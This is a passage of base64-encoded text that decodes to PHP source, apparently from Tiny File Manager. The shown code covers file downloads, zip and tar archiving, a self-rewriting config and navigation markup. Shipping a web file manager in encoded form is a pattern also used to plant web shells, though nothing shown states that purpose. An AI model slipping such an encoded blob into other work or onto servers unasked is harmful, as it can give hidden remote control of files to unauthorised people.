W10gPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgXCJuYW1lXCIgPT4gJGZpbGVOYW1lLFxuICAgICAgICAgICAgICAgICAgICBcInR5cGVcIiA9PiBcImZpbGVcIixcbiAgICAgICAgICAgICAgICAgICAgXCJwYXRoXCIgPT4gJGxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICRmaWxlcztcbiAgICB9XG59XG5cblwvKipcbiAqIFBhcmFtZXRlcnM6IGRvd25sb2FkRmlsZShGaWxlIExvY2F0aW9uLCBGaWxlIE5hbWUsXG4gKiBtYXggc3BlZWQsIGlzIHN0cmVhbWluZ1xuICogSWYgc3RyZWFtaW5nIC0gdmlkZW9zIHdpbGwgc2hvdyBhcyB2aWRlb3MsIGltYWdlcyBhcyBpbWFnZXNcbiAqIGluc3RlYWQgb2YgZG93bmxvYWQgcHJvbXB0XG4gKiBodHRwczpcL1wvc3RhY2tvdmVyZmxvdy5jb21cL2FcLzEzODIxOTkyXC8xMTY0NjQyXG4gKlwvXG5mdW5jdGlvbiBmbV9kb3dubG9hZF9maWxlKCRmaWxlTG9jYXRpb24sICRmaWxlTmFtZSwgJGNodW5rU2l6ZSAgPSAxMDI0KVxue1xuICAgIGlmIChjb25uZWN0aW9uX3N0YXR1cygpICE9IDApXG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgICRleHRlbnNpb24gPSBwYXRoaW5mbygkZmlsZU5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7XG5cbiAgICAkY29udGVudFR5cGUgPSBmbV9nZXRfZmlsZV9taW1lcygkZXh0ZW5zaW9uKTtcblxuICAgIGlmIChpc19hcnJheSgkY29udGVudFR5cGUpKSB7XG4gICAgICAgICRjb250ZW50VHlwZSA9IGltcGxvZGUoJyAnLCAkY29udGVudFR5cGUpO1xuICAgIH1cblxuICAgICRzaXplID0gZmlsZXNpemUoJGZpbGVMb2NhdGlvbik7XG5cbiAgICBpZiAoJHNpemUgPT0gMCkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnWmVybyBieXRlIGZpbGUhIEFib3J0aW5nIGRvd25sb2FkJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcblxuICAgICAgICByZXR1cm4gKGZhbHNlKTtcbiAgICB9XG5cbiAgICBAaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAwKTtcbiAgICAkZnAgPSBmb3BlbihcIiRmaWxlTG9jYXRpb25cIiwgXCJyYlwiKTtcblxuICAgIGlmICgkZnAgPT09IGZhbHNlKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdDYW5ub3Qgb3BlbiBmaWxlISBBYm9ydGluZyBkb3dubG9hZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgICAgIHJldHVybiAoZmFsc2UpO1xuICAgIH1cbiAgICBcbiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTtcbiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTtcbiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZSwgcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCcpO1xuICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTtcbiAgICBoZWFkZXIoXCJDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnlcIik7XG4gICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiAkY29udGVudFR5cGVcIik7XG5cbiAgICAkY29udGVudERpc3Bvc2l0aW9uID0gJ2F0dGFjaG1lbnQnO1xuXG4gICAgaWYgKHN0cnN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sIFwiTVNJRVwiKSkge1xuICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJ1wvXFwuXC8nLCAnJTJlJywgJGZpbGVOYW1lLCBzdWJzdHJfY291bnQoJGZpbGVOYW1lLCAnLicpIC0gMSk7XG4gICAgICAgIGhlYWRlcihcIkNvbnRlbnQtRGlzcG9zaXRpb246ICRjb250ZW50RGlzcG9zaXRpb247ZmlsZW5hbWU9XFxcIiRmaWxlTmFtZVxcXCJcIik7XG4gICAgfSBlbHNlIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1EaXNwb3NpdGlvbjogJGNvbnRlbnREaXNwb3NpdGlvbjtmaWxlbmFtZT1cXFwiJGZpbGVOYW1lXFxcIlwiKTtcbiAgICB9XG5cbiAgICBoZWFkZXIoXCJBY2NlcHQtUmFuZ2VzOiBieXRlc1wiKTtcbiAgICAkcmFuZ2UgPSAwO1xuXG4gICAgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1JBTkdFJ10pKSB7XG4gICAgICAgIGxpc3QoJGEsICRyYW5nZSkgPSBleHBsb2RlKFwiPVwiLCAkX1NFUlZFUlsnSFRUUF9SQU5HRSddKTtcbiAgICAgICAgc3RyX3JlcGxhY2UoJHJhbmdlLCBcIi1cIiwgJHJhbmdlKTtcbiAgICAgICAgJHNpemUyID0gJHNpemUgLSAxO1xuICAgICAgICAkbmV3X2xlbmd0aCA9ICRzaXplIC0gJHJhbmdlO1xuICAgICAgICBoZWFkZXIoXCJIVFRQXC8xLjEgMjA2IFBhcnRpYWwgQ29udGVudFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1MZW5ndGg6ICRuZXdfbGVuZ3RoXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LVJhbmdlOiBieXRlcyAkcmFuZ2Ukc2l6ZTJcLyRzaXplXCIpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgICRzaXplMiA9ICRzaXplIC0gMTtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1SYW5nZTogYnl0ZXMgMC0kc2l6ZTJcLyRzaXplXCIpO1xuICAgICAgICBoZWFkZXIoXCJDb250ZW50LUxlbmd0aDogXCIgLiAkc2l6ZSk7XG4gICAgfVxuICAgICRmaWxlTG9jYXRpb24gPSByZWFscGF0aCgkZmlsZUxvY2F0aW9uKTtcbiAgICB3aGlsZSAob2JfZ2V0X2xldmVsKCkpIG9iX2VuZF9jbGVhbigpO1xuICAgIHJlYWRmaWxlKCRmaWxlTG9jYXRpb24pO1xuXG4gICAgZmNsb3NlKCRmcCk7XG5cbiAgICByZXR1cm4gKChjb25uZWN0aW9uX3N0YXR1cygpID09IDApIGFuZCAhY29ubmVjdGlvbl9hYm9ydGVkKCkpO1xufVxuXG5cLyoqXG4gKiBDbGFzcyB0byB3b3JrIHdpdGggemlwIGZpbGVzICh1c2luZyBaaXBBcmNoaXZlKVxuICpcL1xuY2xhc3MgRk1fWmlwcGVyXG57XG4gICAgcHJpdmF0ZSAkemlwO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT56aXAgPSBuZXcgWmlwQXJjaGl2ZSgpO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnppcC0+b3BlbigkZmlsZW5hbWUsIFppcEFyY2hpdmU6OkNSRUFURSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKGlzX2FycmF5KCRmaWxlcykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgICAgICRmID0gZm1fY2xlYW5fcGF0aCgkZik7XG4gICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRmlsZU9yRGlyKCRmKSkge1xuICAgICAgICAgICAgICAgICAgICAkdGhpcy0+emlwLT5jbG9zZSgpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgJHRoaXMtPnppcC0+Y2xvc2UoKTtcbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogRXh0cmFjdCBhcmNoaXZlICRmaWxlbmFtZSB0byBmb2xkZXIgJHBhdGggKFJFTEFUSVZFIE9SIEFCU09MVVRFIFBBVEhTKVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwdWJsaWMgZnVuY3Rpb24gdW56aXAoJGZpbGVuYW1lLCAkcGF0aClcbiAgICB7XG4gICAgICAgICRyZXMgPSAkdGhpcy0+emlwLT5vcGVuKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmICgkcmVzICE9PSB0cnVlKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgICAgaWYgKCR0aGlzLT56aXAtPmV4dHJhY3RUbygkcGF0aCkpIHtcbiAgICAgICAgICAgICR0aGlzLT56aXAtPmNsb3NlKCk7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+emlwLT5hZGRGaWxlKCRmaWxlbmFtZSk7XG4gICAgICAgIH0gZWxzZWlmIChpc19kaXIoJGZpbGVuYW1lKSkge1xuICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5hZGREaXIoJGZpbGVuYW1lKTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmb2xkZXIgcmVjdXJzaXZlbHlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRGlyKCRwYXRoKVxuICAgIHtcbiAgICAgICAgaWYgKCEkdGhpcy0+emlwLT5hZGRFbXB0eURpcigkcGF0aCkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpO1xuICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xuICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykge1xuICAgICAgICAgICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+YWRkRGlyKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT56aXAtPmFkZEZpbGUoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIHRydWU7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cbn1cblxuXC8qKlxuICogQ2xhc3MgdG8gd29yayB3aXRoIFRhciBmaWxlcyAodXNpbmcgUGhhckRhdGEpXG4gKlwvXG5jbGFzcyBGTV9aaXBwZXJfVGFyXG57XG4gICAgcHJpdmF0ZSAkdGFyO1xuXG4gICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgICR0aGlzLT50YXIgPSBudWxsO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBDcmVhdGUgYXJjaGl2ZSB3aXRoIG5hbWUgJGZpbGVuYW1lIGFuZCBmaWxlcyAkZmlsZXMgKFJFTEFUSVZFIFBBVEhTISlcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBhcnJheXxzdHJpbmcgJGZpbGVzXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHB1YmxpYyBmdW5jdGlvbiBjcmVhdGUoJGZpbGVuYW1lLCAkZmlsZXMpXG4gICAge1xuICAgICAgICAkdGhpcy0+dGFyID0gbmV3IFBoYXJEYXRhKCRmaWxlbmFtZSk7XG4gICAgICAgIGlmIChpc19hcnJheSgkZmlsZXMpKSB7XG4gICAgICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHtcbiAgICAgICAgICAgICAgICAkZiA9IGZtX2NsZWFuX3BhdGgoJGYpO1xuICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPmFkZEZpbGVPckRpcigkZikpIHtcbiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRGaWxlT3JEaXIoJGZpbGVzKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEV4dHJhY3QgYXJjaGl2ZSAkZmlsZW5hbWUgdG8gZm9sZGVyICRwYXRoIChSRUxBVElWRSBPUiBBQlNPTFVURSBQQVRIUylcbiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAgICAgKiBAcmV0dXJuIGJvb2xcbiAgICAgKlwvXG4gICAgcHVibGljIGZ1bmN0aW9uIHVuemlwKCRmaWxlbmFtZSwgJHBhdGgpXG4gICAge1xuICAgICAgICAkcmVzID0gJHRoaXMtPnRhci0+b3BlbigkZmlsZW5hbWUpO1xuICAgICAgICBpZiAoJHJlcyAhPT0gdHJ1ZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIGlmICgkdGhpcy0+dGFyLT5leHRyYWN0VG8oJHBhdGgpKSB7XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxuXG4gICAgXC8qKlxuICAgICAqIEFkZCBmaWxlXC9mb2xkZXIgdG8gYXJjaGl2ZVxuICAgICAqIEBwYXJhbSBzdHJpbmcgJGZpbGVuYW1lXG4gICAgICogQHJldHVybiBib29sXG4gICAgICpcL1xuICAgIHByaXZhdGUgZnVuY3Rpb24gYWRkRmlsZU9yRGlyKCRmaWxlbmFtZSlcbiAgICB7XG4gICAgICAgIGlmIChpc19maWxlKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkZmlsZW5hbWUpO1xuICAgICAgICAgICAgICAgIHJldHVybiB0cnVlO1xuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgfVxuICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRmaWxlbmFtZSkpIHtcbiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+YWRkRGlyKCRmaWxlbmFtZSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBBZGQgZm9sZGVyIHJlY3Vyc2l2ZWx5XG4gICAgICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICAgICAqIEByZXR1cm4gYm9vbFxuICAgICAqXC9cbiAgICBwcml2YXRlIGZ1bmN0aW9uIGFkZERpcigkcGF0aClcbiAgICB7XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5hZGREaXIoJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHRyeSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnRhci0+YWRkRmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSk7XG4gICAgICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICAgICAgfVxuICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBTYXZlIENvbmZpZ3VyYXRpb25cbiAqXC9cbmNsYXNzIEZNX0NvbmZpZ1xue1xuICAgIHZhciAkZGF0YTtcblxuICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KClcbiAgICB7XG4gICAgICAgIGdsb2JhbCAkcm9vdF9wYXRoLCAkcm9vdF91cmwsICRDT05GSUc7XG4gICAgICAgICRmbV91cmwgPSAkcm9vdF91cmwgLiAkX1NFUlZFUltcIlBIUF9TRUxGXCJdO1xuICAgICAgICAkdGhpcy0+ZGF0YSA9IGFycmF5KFxuICAgICAgICAgICAgJ2xhbmcnID0+ICdlbicsXG4gICAgICAgICAgICAnZXJyb3JfcmVwb3J0aW5nJyA9PiB0cnVlLFxuICAgICAgICAgICAgJ3Nob3dfaGlkZGVuJyA9PiB0cnVlXG4gICAgICAgICk7XG4gICAgICAgICRkYXRhID0gZmFsc2U7XG4gICAgICAgIGlmIChzdHJsZW4oJENPTkZJRykpIHtcbiAgICAgICAgICAgICRkYXRhID0gZm1fb2JqZWN0X3RvX2FycmF5KGpzb25fZGVjb2RlKCRDT05GSUcpKTtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICRtc2cgPSAnVGlueSBGaWxlIE1hbmFnZXI8YnI+RXJyb3I6IENhbm5vdCBsb2FkIGNvbmZpZ3VyYXRpb24nO1xuICAgICAgICAgICAgaWYgKHN1YnN0cigkZm1fdXJsLCAtMSkgPT0gJ1wvJykge1xuICAgICAgICAgICAgICAgICRmbV91cmwgPSBydHJpbSgkZm1fdXJsLCAnXC8nKTtcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+JztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+U2VlbXMgbGlrZSB5b3UgaGF2ZSBhIHRyYWlsaW5nIHNsYXNoIG9uIHRoZSBVUkwuJztcbiAgICAgICAgICAgICAgICAkbXNnIC49ICc8YnI+VHJ5IHRoaXMgbGluazogPGEgaHJlZj1cIicgLiAkZm1fdXJsIC4gJ1wiPicgLiAkZm1fdXJsIC4gJzxcL2E+JztcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIGRpZSgkbXNnKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoaXNfYXJyYXkoJGRhdGEpICYmIGNvdW50KCRkYXRhKSkgJHRoaXMtPmRhdGEgPSAkZGF0YTtcbiAgICAgICAgZWxzZSAkdGhpcy0+c2F2ZSgpO1xuICAgIH1cblxuICAgIGZ1bmN0aW9uIHNhdmUoKVxuICAgIHtcbiAgICAgICAgZ2xvYmFsICRjb25maWdfZmlsZTtcbiAgICAgICAgJGZtX2ZpbGUgPSBpc19yZWFkYWJsZSgkY29uZmlnX2ZpbGUpID8gJGNvbmZpZ19maWxlIDogX19GSUxFX187XG4gICAgICAgICR2YXJfbmFtZSA9ICckQ09ORklHJztcbiAgICAgICAgJHZhcl92YWx1ZSA9IHZhcl9leHBvcnQoanNvbl9lbmNvZGUoJHRoaXMtPmRhdGEpLCB0cnVlKTtcbiAgICAgICAgJGNvbmZpZ19zdHJpbmcgPSBcIjw/cGhwXCIgLiBjaHIoMTMpIC4gY2hyKDEwKSAuIFwiXC9cL0RlZmF1bHQgQ29uZmlndXJhdGlvblwiIC4gY2hyKDEzKSAuIGNocigxMCkgLiBcIiR2YXJfbmFtZSA9ICR2YXJfdmFsdWU7XCIgLiBjaHIoMTMpIC4gY2hyKDEwKTtcbiAgICAgICAgaWYgKGlzX3dyaXRhYmxlKCRmbV9maWxlKSkge1xuICAgICAgICAgICAgJGxpbmVzID0gZmlsZSgkZm1fZmlsZSk7XG4gICAgICAgICAgICBpZiAoJGZoID0gQGZvcGVuKCRmbV9maWxlLCBcIndcIikpIHtcbiAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkY29uZmlnX3N0cmluZywgc3RybGVuKCRjb25maWdfc3RyaW5nKSk7XG4gICAgICAgICAgICAgICAgZm9yICgkeCA9IDM7ICR4IDwgY291bnQoJGxpbmVzKTsgJHgrKykge1xuICAgICAgICAgICAgICAgICAgICBAZnB1dHMoJGZoLCAkbGluZXNbJHhdLCBzdHJsZW4oJGxpbmVzWyR4XSkpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmaCk7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICB9XG59XG5cblwvXC8tLS0gVGVtcGxhdGVzIEZ1bmN0aW9ucyAtLS1cblxuXC8qKlxuICogU2hvdyBuYXYgYmxvY2tcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqXC9cbmZ1bmN0aW9uIGZtX3Nob3dfbmF2X3BhdGgoJHBhdGgpXG57XG4gICAgZ2xvYmFsICRsYW5nLCAkc3RpY2t5X25hdmJhciwgJGVkaXRGaWxlO1xuICAgICRpc1N0aWNreU5hdkJhciA9ICRzdGlja3lfbmF2YmFyID8gJ2ZpeGVkLXRvcCcgOiAnJztcbj8+XG4gICAgPG5hdiBjbGFzcz1cIm5hdmJhciBuYXZiYXItZXhwYW5kLWxnIG1iLTQgbWFpbi1uYXYgPD9waHAgZWNobyAkaXNTdGlja3lOYXZCYXIgPz4gYmctYm9keS10ZXJ0aWFyeVwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICA8YSBjbGFzcz1cIm5hdmJhci1icmFuZFwiPiA8P3BocCBlY2hvIGxuZygnQXBwVGl0bGUnKSA/PiA8XC9hPlxuICAgICAgICA8YnV0dG9uIGNsYXNzPVwibmF2YmFyLXRvZ2dsZXJcIiB0eXBlPVwiYnV0dG9uXCIgZGF0YS1icy10b2dnbGU9XCJjb2xsYXBzZVwiIGRhdGEtYnMtdGFyZ2V0PVwiI25hdmJhclN1cHBvcnRlZENvbnRlbnRcIiBhcmlhLWNvbnRyb2xzPVwibmF2YmFyU3VwcG9ydGVkQ29udGVudFwiIGFyaWEtZXhwYW5kZWQ9XCJmYWxzZVwiIGFyaWEtbGFiZWw9XCJUb2dnbGUgbmF2aWdhdGlvblwiPlxuICAgICAgICAgICAgPHNwYW4gY2xhc3M9XCJuYXZiYXItdG9nZ2xlci1pY29uXCI+PFwvc3Bhbj5cbiAgICAgICAgPFwvYnV0dG9uPlxuICAgICAgICA8ZGl2IGNsYXNzPVwiY29sbGFwc2UgbmF2YmFyLWNvbGxhcHNlXCIgaWQ9XCJuYXZiYXJTdXBwb3J0ZWRDb250ZW50XCI+XG5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgICAgICAgICAgJHJvb3RfdXJsID0gXCI8YSBocmVmPSc/cD0nPjxpIGNsYXNzPSdmYSBmYS1ob21lJyBhcmlhLWhpZGRlbj0ndHJ1ZScgdGl0bGU9J1wiIC4gRk1fUk9PVF9QQVRIIC4gXCInPjxcL2k+PFwvYT5cIjtcbiAgICAgICAgICAgICRzZXAgPSAnPGkgY2xhc3M9XCJicmVhZC1jcnVtYlwiPiBcLyA8XC9pPic7XG4gICAgICAgICAgICBpZiAoJHBhdGggIT0gJycpIHtcbiAgICAgICAgICAgICAgICAkZXhwbG9kZWQgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgICAgICAgICAkY291bnQgPSBjb3VudCgkZXhwbG9kZWQpO1xuICAgICAgICAgICAgICAgICRhcnJheSA9IGFycmF5KCk7XG4gICAgICAgICAgICAgICAgJHBhcmVudCA9ICcnO1xuICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyAkaSA8ICRjb3VudDsgJGkrKykge1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50ID0gdHJpbSgkcGFyZW50IC4gJ1wvJyAuICRleHBsb2RlZFskaV0sICdcLycpO1xuICAgICAgICAgICAgICAgICAgICAkcGFyZW50X2VuYyA9IHVybGVuY29kZSgkcGFyZW50KTtcbiAgICAgICAgICAgICAgICAgICAgJGFycmF5W10gPSBcIjxhIGhyZWY9Jz9wPXskcGFyZW50X2VuY30nPlwiIC4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRleHBsb2RlZFskaV0pKSAuIFwiPFwvYT5cIjtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgJHJvb3RfdXJsIC49ICRzZXAgLiBpbXBsb2RlKCRzZXAsICRhcnJheSk7XG4gICAgICAgICAgICB9XG4gICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPVwiY29sLXhzLTYgY29sLXNtLTVcIj4nIC4gJHJvb3RfdXJsIC4gJGVkaXRGaWxlIC4gJzxcL2Rpdj4nO1xuICAgICAgICAgICAgPz5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy02IGNvbC1zbS03XCI+XG4gICAgICAgICAgICAgICAgPHVsIGNsYXNzPVwibmF2YmFyLW5hdiBqdXN0aWZ5LWNvbnRlbnQtZW5kXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4g